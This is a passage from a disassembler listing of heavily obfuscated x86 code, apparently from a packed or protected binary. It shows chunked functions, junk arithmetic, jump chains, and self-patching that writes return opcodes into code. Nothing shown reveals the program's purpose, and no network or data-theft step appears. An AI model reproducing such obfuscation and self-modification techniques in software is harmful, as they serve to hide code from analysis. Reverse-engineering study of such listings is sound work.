FOR sub_74F1FE ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_75626A: ; CODE XREF: sub_74FE55+5A38j jmp loc_74C19E ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_751078 loc_75626F: ; CODE XREF: sub_751078+24B0j jmp nullsub_183 ; END OF FUNCTION CHUNK FOR sub_751078 ; --------------------------------------------------------------------------- rol ecx, 19h loc_756277: ; CODE XREF: _0z4jwtox:loc_757492j jmp loc_74C162 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_75627C: ; CODE XREF: sub_74E451+4C00j add eax, 0BABF160Fh push offset sub_749608 jmp loc_752DB0 ; END OF FUNCTION CHUNK FOR sub_74E451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F08D loc_75628C: ; CODE XREF: sub_74F08D:loc_745D5Dj pop edi sub edi, 0BF975780h add edi, 4A9B7775h xchg edi, [esp-8+arg_4] jmp loc_74B6F5 ; END OF FUNCTION CHUNK FOR sub_74F08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C44 loc_7562A1: ; CODE XREF: sub_752C44-C792j adc ebx, eax pushf jmp loc_752696 ; END OF FUNCTION CHUNK FOR sub_752C44 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7562AA: ; CODE XREF: _0z4jwtox:loc_7478ECj push eax mov eax, edx call sub_747892 mov eax, [esp] push edx push 41A00D31h jmp loc_74F390 ; --------------------------------------------------------------------------- loc_7562C0: ; DATA XREF: sub_74AD4Co call sub_7562D5 jmp ds:off_41F048 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75100C loc_7562CB: ; CODE XREF: sub_75100C+Bj jmp sub_74894B ; END OF FUNCTION CHUNK FOR sub_75100C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746FBD loc_7562D0: ; CODE XREF: sub_746FBD+7C20j jmp loc_750ED8 ; END OF FUNCTION CHUNK FOR sub_746FBD ; =============== S U B R O U T I N E ======================================= sub_7562D5 proc near ; CODE XREF: sub_748B97:loc_748C03j ; sub_74A445:loc_74A456j ... ; FUNCTION CHUNK AT 00746E4B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00751EDB SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00753D71 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754564 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00755A5A SIZE 0000001E BYTES pop edx js loc_755A5A mov eax, [esp+0] push edx jmp loc_751EDB sub_7562D5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75532F loc_7562E5: ; CODE XREF: sub_75532F:loc_74CEC8j jge loc_746F0C popf jmp loc_746F06 ; END OF FUNCTION CHUNK FOR sub_75532F ; --------------------------------------------------------------------------- loc_7562F1: ; CODE XREF: _0z4jwtox:0074BC6Ej add edx, 9DCE8446h ; =============== S U B R O U T I N E ======================================= sub_7562F7 proc near ; CODE XREF: sub_7543C5+Ap ; FUNCTION CHUNK AT 0074C934 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074ECD6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00750EA8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00751EC1 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_756488 or eax, eax jnz loc_750EDE jmp loc_750EA8 sub_7562F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_75630E proc near ; DATA XREF: _0z4jwtox:0075389Eo call sub_746E93 mov ds:off_41F0E4, eax lea eax, loc_750676 mov byte ptr [eax], 0C3h jmp loc_750676 sub_75630E endp ; =============== S U B R O U T I N E ======================================= sub_756327 proc near ; CODE XREF: sub_408F94+3Dp ; _0z4jwtox:00751382j ; DATA XREF: ... ; FUNCTION CHUNK AT 00749DBC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074C413 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007540FF SIZE 00000005 BYTES push ecx jmp loc_74C413 sub_756327 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_75632D: ; CODE XREF: sub_7544F1+8j jz loc_746C30 jmp loc_7566D4 ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- loc_756338: ; CODE XREF: _0z4jwtox:0074FD31j add edx, 0BF48647Bh loc_75633E: ; CODE XREF: _0z4jwtox:loc_74FD1Fj rol ecx, 1Ah and ecx, 96C0F807h sub ecx, 0A6D3A518h call sub_75265A loc_756352: ; CODE XREF: _0z4jwtox:0074F2AFj jmp loc_74FD56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748538 loc_756357: ; CODE XREF: sub_748538-1300j jmp loc_74EA37 ; END OF FUNCTION CHUNK FOR sub_748538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746F33 loc_75635C: ; CODE XREF: sub_746F33-3BEj jmp loc_754C1A ; END OF FUNCTION CHUNK FOR sub_746F33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_756361: ; CODE XREF: sub_746640+F046j jl loc_75129A loc_756367: ; CODE XREF: _0z4jwtox:loc_74E118j jmp loc_74BBB4 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_75636C: ; CODE XREF: sub_74724C+CAA2j mov ds:off_41F020, eax lea eax, loc_75078A mov byte ptr [eax], 0C3h jmp loc_75078A ; --------------------------------------------------------------------------- loc_756380: ; CODE XREF: sub_74724C:loc_75078Aj xchg eax, [esp+4+var_4] push eax pop edx xchg ebp, [esp+4+var_4] jmp loc_745C3E ; END OF FUNCTION CHUNK FOR sub_74724C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_75638D: ; CODE XREF: sub_74D4D3:loc_7455C8j mov eax, [ebp-8] shl eax, 0Fh loc_756393: ; CODE XREF: sub_74F73B:loc_74CEC3j add [ebp-8], eax mov eax, [ebp-8] jmp loc_74E64D ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- or ebp, ecx jmp sub_7499A5 ; --------------------------------------------------------------------------- loc_7563A5: ; CODE XREF: _0z4jwtox:loc_74AEC1j ; _0z4jwtox:00756407j rol eax, 2 add eax, 0F0F4CD3Eh add eax, ebp add eax, 6C9A19Dh mov eax, [eax] jmp loc_756475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7453AD loc_7563BD: ; CODE XREF: sub_7453AD:loc_74F286j jz loc_745F4F jmp loc_74ECCC ; END OF FUNCTION CHUNK FOR sub_7453AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572D3 loc_7563C8: ; CODE XREF: sub_7572D3+Aj push eax call sub_74C2C9 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_748240 lea eax, [ebp-125h] push eax loc_7563E2: ; CODE XREF: sub_75143A+4666j call sub_7451D9 jmp loc_74A926 ; END OF FUNCTION CHUNK FOR sub_7572D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7499A5 loc_7563EC: ; CODE XREF: sub_7499A5+Ej call sub_75310B dec eax push 0E2AD0DFh pop edx jmp loc_7454D1 ; END OF FUNCTION CHUNK FOR sub_7499A5 ; --------------------------------------------------------------------------- loc_7563FD: ; CODE XREF: _0z4jwtox:0074AECEj jge loc_752F3D not esi xor ebx, eax jmp loc_7563A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA04 loc_75640C: ; CODE XREF: sub_74BA04+Fj push 5CA23EAEh add eax, edx jmp loc_7510D4 ; END OF FUNCTION CHUNK FOR sub_74BA04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_756418: ; CODE XREF: sub_7543C5+350Aj jp loc_746B17 loc_75641E: ; CODE XREF: sub_7543C5:loc_745ECDj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_74F6F8 jmp loc_74F72A ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_75642F: ; CODE XREF: _0z4jwtox:0074A337j jp loc_748F07 ; =============== S U B R O U T I N E ======================================= sub_756435 proc near ; CODE XREF: sub_749C95+5p xchg edi, [esp+0] pop edi push eax jmp loc_745F27 sub_756435 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_75643F: ; CODE XREF: sub_74F688:loc_753609j add eax, 0DD67DBh push offset loc_74BCE4 jmp nullsub_188 ; END OF FUNCTION CHUNK FOR sub_74F688 ; =============== S U B R O U T I N E ======================================= sub_75644F proc near ; CODE XREF: _0z4jwtox:00745745j ; _0z4jwtox:007466F1p ; FUNCTION CHUNK AT 007513B8 SIZE 00000020 BYTES xchg ecx, [esp+0] pop ecx push edx push 0B093DCFAh pop edx jmp loc_7513B8 sub_75644F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_75645F: ; CODE XREF: sub_75622B:loc_753A6Dj pop ecx mov eax, [esp-4+arg_0] push esi loc_756464: ; DATA XREF: .data:off_431180o mov esi, edx jmp loc_74E616 ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_75646B: ; CODE XREF: sub_74D23E:loc_74FF5Dj mov eax, 2F2C0C2Fh call sub_74B3EB loc_756475: ; CODE XREF: _0z4jwtox:007563B8j jmp loc_7480A1 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- loc_75647A: ; CODE XREF: _0z4jwtox:0075586Ej jmp loc_748EB3 ; --------------------------------------------------------------------------- mov eax, [esp] ; START OF FUNCTION CHUNK FOR sub_74BA2F loc_756482: ; CODE XREF: sub_74BA2F+315Dj call sub_746CF0 retn ; END OF FUNCTION CHUNK FOR sub_74BA2F ; --------------------------------------------------------------------------- dword_756488 dd 0E952470Fh ; sub_750ECF:loc_750ED8w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_75648C: ; CODE XREF: sub_7561AB-24D5j jmp loc_750FA8 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_756491: ; CODE XREF: sub_74A4B0+20CFj jmp loc_749C74 ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; =============== S U B R O U T I N E ======================================= sub_756496 proc near ; CODE XREF: .text:00415E85p ; DATA XREF: zugr1819:off_41F160o ; FUNCTION CHUNK AT 0074B2DA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074B7DA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074F76B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FF8E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753B15 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00754317 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007556CB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0075671A SIZE 00000005 BYTES jnz loc_74FF8E mov eax, ds:dword_753554 jmp loc_7556CB sub_756496 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7564A7 proc near ; CODE XREF: sub_746DD8:loc_74F28Bp ; _0z4jwtox:00750E1Ej ; FUNCTION CHUNK AT 007525B2 SIZE 00000006 BYTES xchg eax, [esp+0] pop eax lea eax, loc_74FBB6 call sub_746DD8 loc_7564B6: ; CODE XREF: sub_74E762+90D4j jmp loc_7525B2 sub_7564A7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7564BB: ; CODE XREF: _0z4jwtox:007546A4j jmp loc_75592D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755B5B loc_7564C0: ; CODE XREF: sub_755B5B-79B8j jmp nullsub_193 ; END OF FUNCTION CHUNK FOR sub_755B5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DE1F loc_7564C5: ; CODE XREF: sub_74DE1F+4j jmp loc_74A9F1 ; END OF FUNCTION CHUNK FOR sub_74DE1F ; --------------------------------------------------------------------------- loc_7564CA: ; CODE XREF: _0z4jwtox:0074AD7Aj jmp loc_7576DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_7564CF: ; CODE XREF: sub_749B76-361j jmp nullsub_194 ; END OF FUNCTION CHUNK FOR sub_749B76 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_7564D5 proc near ; DATA XREF: sub_74BCF7+7ABAo ; FUNCTION CHUNK AT 00752179 SIZE 00000005 BYTES push 0F9756F96h pop esi sub esi, 0B967570Fh test esi, 80000000h jmp loc_752179 sub_7564D5 endp ; --------------------------------------------------------------------------- mov eax, 0A0DFF08Ah call sub_746E93 mov ds:off_41F114, eax lea eax, loc_747847 jmp loc_7552DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_756507: ; CODE XREF: sub_747736+4CB0j or eax, 10h mov edx, [ebp+8] mov [edx-8], eax loc_756510: ; CODE XREF: _0z4jwtox:loc_745609j jmp loc_74DE2C ; --------------------------------------------------------------------------- loc_756515: ; CODE XREF: sub_747736:loc_74C3D7j cmp dword ptr [ebp-10h], 2 jnz loc_74DE2C mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_74DE2C ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_75652B: ; CODE XREF: _0z4jwtox:00745377j ; sub_74A71A+ABFj cmp dword ptr [ebp-1Ch], 67h jmp loc_74DEF9 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_756534: ; CODE XREF: sub_748C0D:loc_749850j ; sub_7570B1:loc_74D61Dj pop eax xor eax, 4206A0D2h cmp eax, 0AEFA7735h jmp loc_74C27B ; END OF FUNCTION CHUNK FOR sub_748C0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7523A2 loc_756546: ; CODE XREF: sub_7523A2:loc_752332j jb loc_74BB30 mov eax, [esp-4+arg_0] push edx call sub_754E36 mov eax, 36428C3Ch call sub_746E93 mov ds:off_41F0D8, eax lea eax, sub_7523A2 jmp loc_74BB28 ; END OF FUNCTION CHUNK FOR sub_7523A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_756570: ; CODE XREF: sub_748DCB:loc_7546A9j ; _0z4jwtox:007546CCj sub eax, 56D0A954h test eax, 1 jmp loc_749359 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_756581: ; CODE XREF: sub_7557E7:loc_748BAEj jz loc_74D75E ; END OF FUNCTION CHUNK FOR sub_7557E7 ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_756587: ; CODE XREF: sub_74BFE0+3000j jmp loc_754D1D ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_75658C: ; CODE XREF: sub_747C22+1585j jmp loc_74EBF1 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474F5 loc_756591: ; CODE XREF: sub_7474F5+10j jmp loc_74B2BB ; END OF FUNCTION CHUNK FOR sub_7474F5 ; --------------------------------------------------------------------------- shl eax, 0Bh ja loc_745D47 jmp loc_74D759 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7577DE loc_7565A4: ; CODE XREF: sub_7577DE+Cj rol ecx, 0Fh xor ecx, 0FD45EA5Eh ; END OF FUNCTION CHUNK FOR sub_7577DE ; START OF FUNCTION CHUNK FOR sub_7514AC loc_7565AD: ; CODE XREF: sub_7514AC:loc_7556F9j or ecx, 0A8F76D05h xor ecx, 0B4E0304h jmp loc_7507F0 ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C2D loc_7565BE: ; CODE XREF: sub_750C2D+5299j test edi, 5C54B5A2h jmp loc_746102 ; END OF FUNCTION CHUNK FOR sub_750C2D ; --------------------------------------------------------------------------- loc_7565C9: ; CODE XREF: _0z4jwtox:0075598Aj pop eax cdq test esi, eax jmp loc_74F8B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_7565D2: ; CODE XREF: sub_74F688:loc_7463DEj add eax, 19DDE2A0h call sub_746E93 push ebx mov ebx, edi xchg ebx, [esp+4+var_4] push 0FA059107h jmp loc_75363C ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- loc_7565ED: ; CODE XREF: _0z4jwtox:007573E0j mov [edx], ecx ; =============== S U B R O U T I N E ======================================= sub_7565EF proc near ; CODE XREF: sub_74D23E+9629p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007560C9 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax mov eax, [esp-4+arg_0] push ebx jmp loc_7560C9 sub_7565EF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_7565FC: ; CODE XREF: sub_74698F-BAEj push eax push 0 loc_7565FF: ; CODE XREF: sub_74D1F3:loc_74D002j push offset sub_752969 jmp loc_74542B ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_756609: ; CODE XREF: sub_74673E:loc_750A77j ; sub_753176:loc_750DFFj ; DATA XREF: ... mov esp, ebp pop ebp mov eax, ds:dword_74F38C or eax, eax jnz loc_7499F5 jmp loc_750710 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C527 loc_75661F: ; CODE XREF: sub_74C527+90CDj mov eax, edx pop edx xor eax, 1DA8AD7Eh rol eax, 1Ch add eax, 384430ACh xchg eax, [esp+8+var_8] jmp sub_756691 ; END OF FUNCTION CHUNK FOR sub_74C527 ; =============== S U B R O U T I N E ======================================= sub_756639 proc near ; CODE XREF: _0z4jwtox:00745898j ; sub_749FEE+CCEDp arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax add esi, 184B20Ch xchg esi, [esp-4+arg_0] jmp loc_754B4A sub_756639 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745183 loc_75664B: ; CODE XREF: sub_745183:loc_7469CAj jns loc_74F91B ; END OF FUNCTION CHUNK FOR sub_745183 ; START OF FUNCTION CHUNK FOR sub_75051C loc_756651: ; CODE XREF: sub_75051C+D3Aj jmp loc_75344B ; END OF FUNCTION CHUNK FOR sub_75051C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E40 loc_756656: ; CODE XREF: sub_755E40-73B5j jmp loc_7485FD ; END OF FUNCTION CHUNK FOR sub_755E40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748723 loc_75665B: ; CODE XREF: sub_748723+A56j jmp loc_74F5D0 ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- or eax, 87107C5h xor esi, 0FD0A28F4h jmp loc_74F917 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DE1 loc_756671: ; CODE XREF: sub_746E93+3CBBj ; sub_752DE1+6j ... xchg eax, edx call sub_74B525 retn ; END OF FUNCTION CHUNK FOR sub_752DE1 ; --------------------------------------------------------------------------- dword_756678 dd 7C800000h ; sub_746E93:loc_74AB46r ... ; --------------------------------------------------------------------------- loc_75667C: ; CODE XREF: _0z4jwtox:00745EAAj jmp loc_754CB4 ; --------------------------------------------------------------------------- db 55h, 6, 39h dword_756684 dd 9352A2B4h, 8C669854h, 631B6417h ; sub_748A22+E4A1o db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_756691 proc near ; CODE XREF: sub_74BA42:loc_745A0Bp ; _0z4jwtox:00745B9Cp ... ; FUNCTION CHUNK AT 00745A6E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075380B SIZE 00000014 BYTES push ebp mov ebp, esp jmp loc_745A6E sub_756691 endp ; --------------------------------------------------------------------------- not edi jmp sub_74A959 ; --------------------------------------------------------------------------- loc_7566A0: ; DATA XREF: sub_74C527-6FDEo call sub_756691 xor eax, edi jmp loc_74D7FB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_7566AD: ; CODE XREF: sub_748B52:loc_74AC68j push 58F15BFBh jo loc_753B2F jmp loc_74A2A2 ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C10 loc_7566BD: ; CODE XREF: sub_755C10-E26Fj jnz loc_755A20 loc_7566C3: ; CODE XREF: _0z4jwtox:00746A8Dj jmp loc_7552A3 ; END OF FUNCTION CHUNK FOR sub_755C10 ; --------------------------------------------------------------------------- or esi, 96CDC06h pushf jmp loc_755A20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_7566D4: ; CODE XREF: sub_7544F1+1E42j jnp sub_74BD6F pop esi jz loc_7535B9 jmp loc_746C30 ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_7566E6: ; CODE XREF: sub_752FC5+7j mov eax, [esp-8+arg_4] push edx push ecx push 0ADAE3CA8h pop ecx loc_7566F1: ; CODE XREF: _0z4jwtox:00750DA1j sub ecx, 5AB82542h jmp loc_757682 ; END OF FUNCTION CHUNK FOR sub_752FC5 ; =============== S U B R O U T I N E ======================================= sub_7566FC proc near ; CODE XREF: sub_75364C-CE76p ; _0z4jwtox:0074C7D9j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add edi, 487A8678h xchg edi, [esp-4+arg_0] jmp sub_75310B sub_7566FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_75670E: ; CODE XREF: sub_746E37:loc_746E46j jz loc_750C69 jmp loc_74586C ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- locret_756719: ; CODE XREF: _0z4jwtox:loc_74B906j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_75671A: ; CODE XREF: sub_756496-6D25j jmp loc_74B7DA ; END OF FUNCTION CHUNK FOR sub_756496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_75671F: ; CODE XREF: sub_747C39+6CB9j jmp loc_752FD1 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_756724: ; CODE XREF: sub_746640+952Cj add eax, ebp add eax, 43C6466Ah mov eax, [eax] mov [ebp-1Ch], eax jmp loc_748B1F ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- jno loc_747143 call sub_7508A4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_756741 proc near ; CODE XREF: sub_74BED4+78B2p ; FUNCTION CHUNK AT 007520DD SIZE 0000000F BYTES push ebp mov ebp, esp call sub_747778 loc_756749: ; CODE XREF: sub_74AC6D+5FAAj jmp loc_7520DD sub_756741 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_75674E: ; CODE XREF: sub_7463AE+1B8Cj jmp sub_7535F0 ; END OF FUNCTION CHUNK FOR sub_7463AE ; --------------------------------------------------------------------------- loc_756753: ; CODE XREF: _0z4jwtox:loc_7552DCj mov byte ptr [eax], 0C3h jmp loc_746A58 ; =============== S U B R O U T I N E ======================================= sub_75675B proc near ; CODE XREF: sub_40C2D0+348p ; sub_40CC09+4286p ... call sub_75676B jmp ds:off_41F118 sub_75675B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_756766: ; CODE XREF: sub_747AEC+9F1j jmp loc_74CAEA ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_75676B proc near ; CODE XREF: _0z4jwtox:007466ECj ; _0z4jwtox:0074A0AEj ... call sub_74A4B0 loc_756770: ; CODE XREF: sub_74A821+6B7j jmp nullsub_201 sub_75676B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_756775: ; CODE XREF: sub_74D1F3-6AC3j jmp loc_7543F2 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_75677A: ; CODE XREF: sub_7571A1:loc_7451C1j jz loc_757893 loc_756780: ; CODE XREF: sub_7572C4+4j jmp loc_75272E ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- add eax, 0C66539C1h push 29DA9484h mov edx, 9EDB7C49h jmp loc_757893 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_75679A: ; CODE XREF: sub_748B44+5F61j jz loc_755818 ; END OF FUNCTION CHUNK FOR sub_748B44 ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_7567A0: ; CODE XREF: sub_74C0A0+Cj jmp loc_756C2B ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- jo loc_75297C mov edi, [edx] jmp loc_746427 ; --------------------------------------------------------------------------- loc_7567B2: ; CODE XREF: _0z4jwtox:0074662Ej mov eax, [edx] ; =============== S U B R O U T I N E ======================================= sub_7567B4 proc near ; CODE XREF: _0z4jwtox:00746B2Aj ; sub_752737-BBE7p ; FUNCTION CHUNK AT 00745C52 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00745D4C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075512C SIZE 0000000D BYTES xchg esi, [esp+0] pop esi cmp byte ptr [eax], 0F1h jnz loc_745C52 jmp loc_745D4C sub_7567B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_7567C6: ; CODE XREF: sub_750243:loc_74C456j pop eax lea eax, loc_753727 mov byte ptr [eax], 0C3h jmp loc_75561F ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B305 loc_7567D5: ; CODE XREF: sub_74B305+8423j push offset loc_7536DC jmp nullsub_202 ; END OF FUNCTION CHUNK FOR sub_74B305 ; --------------------------------------------------------------------------- pop edx mov eax, [esp] call sub_7571AD ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_7567E8: ; CODE XREF: sub_7543C5:loc_74A4F8j or ebx, 4DD625DAh add ebx, 0D783CE5Ch sub eax, ebx pop ebx ; END OF FUNCTION CHUNK FOR sub_7543C5 ; START OF FUNCTION CHUNK FOR sub_747736 loc_7567F7: ; CODE XREF: sub_747736:loc_74B740j push offset sub_7547BA jmp nullsub_204 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_756802: ; CODE XREF: _0z4jwtox:loc_74855Dj ; sub_74AAC1:loc_7526A9j ror eax, 2 push ebx push 1B50489Bh pop ebx add ebx, 0DAE09670h and ebx, 391098C9h sub ebx, 0F270A0D0h jmp loc_74DB51 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F3C6 loc_756823: ; CODE XREF: _0z4jwtox:00752A8Ej ; sub_74F3C6:loc_753CFEj ... pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74F3C6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_756826 proc near ; CODE XREF: sub_748E1D+1C9p ; sub_752957:loc_74AD0Fp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007450AA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007466C1 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 007475BD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00747FAF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074CECD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074EE12 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007531A9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00753E40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754EF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755E33 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0075700F SIZE 0000000B BYTES push ebp mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] jmp loc_7466C1 sub_756826 endp ; =============== S U B R O U T I N E 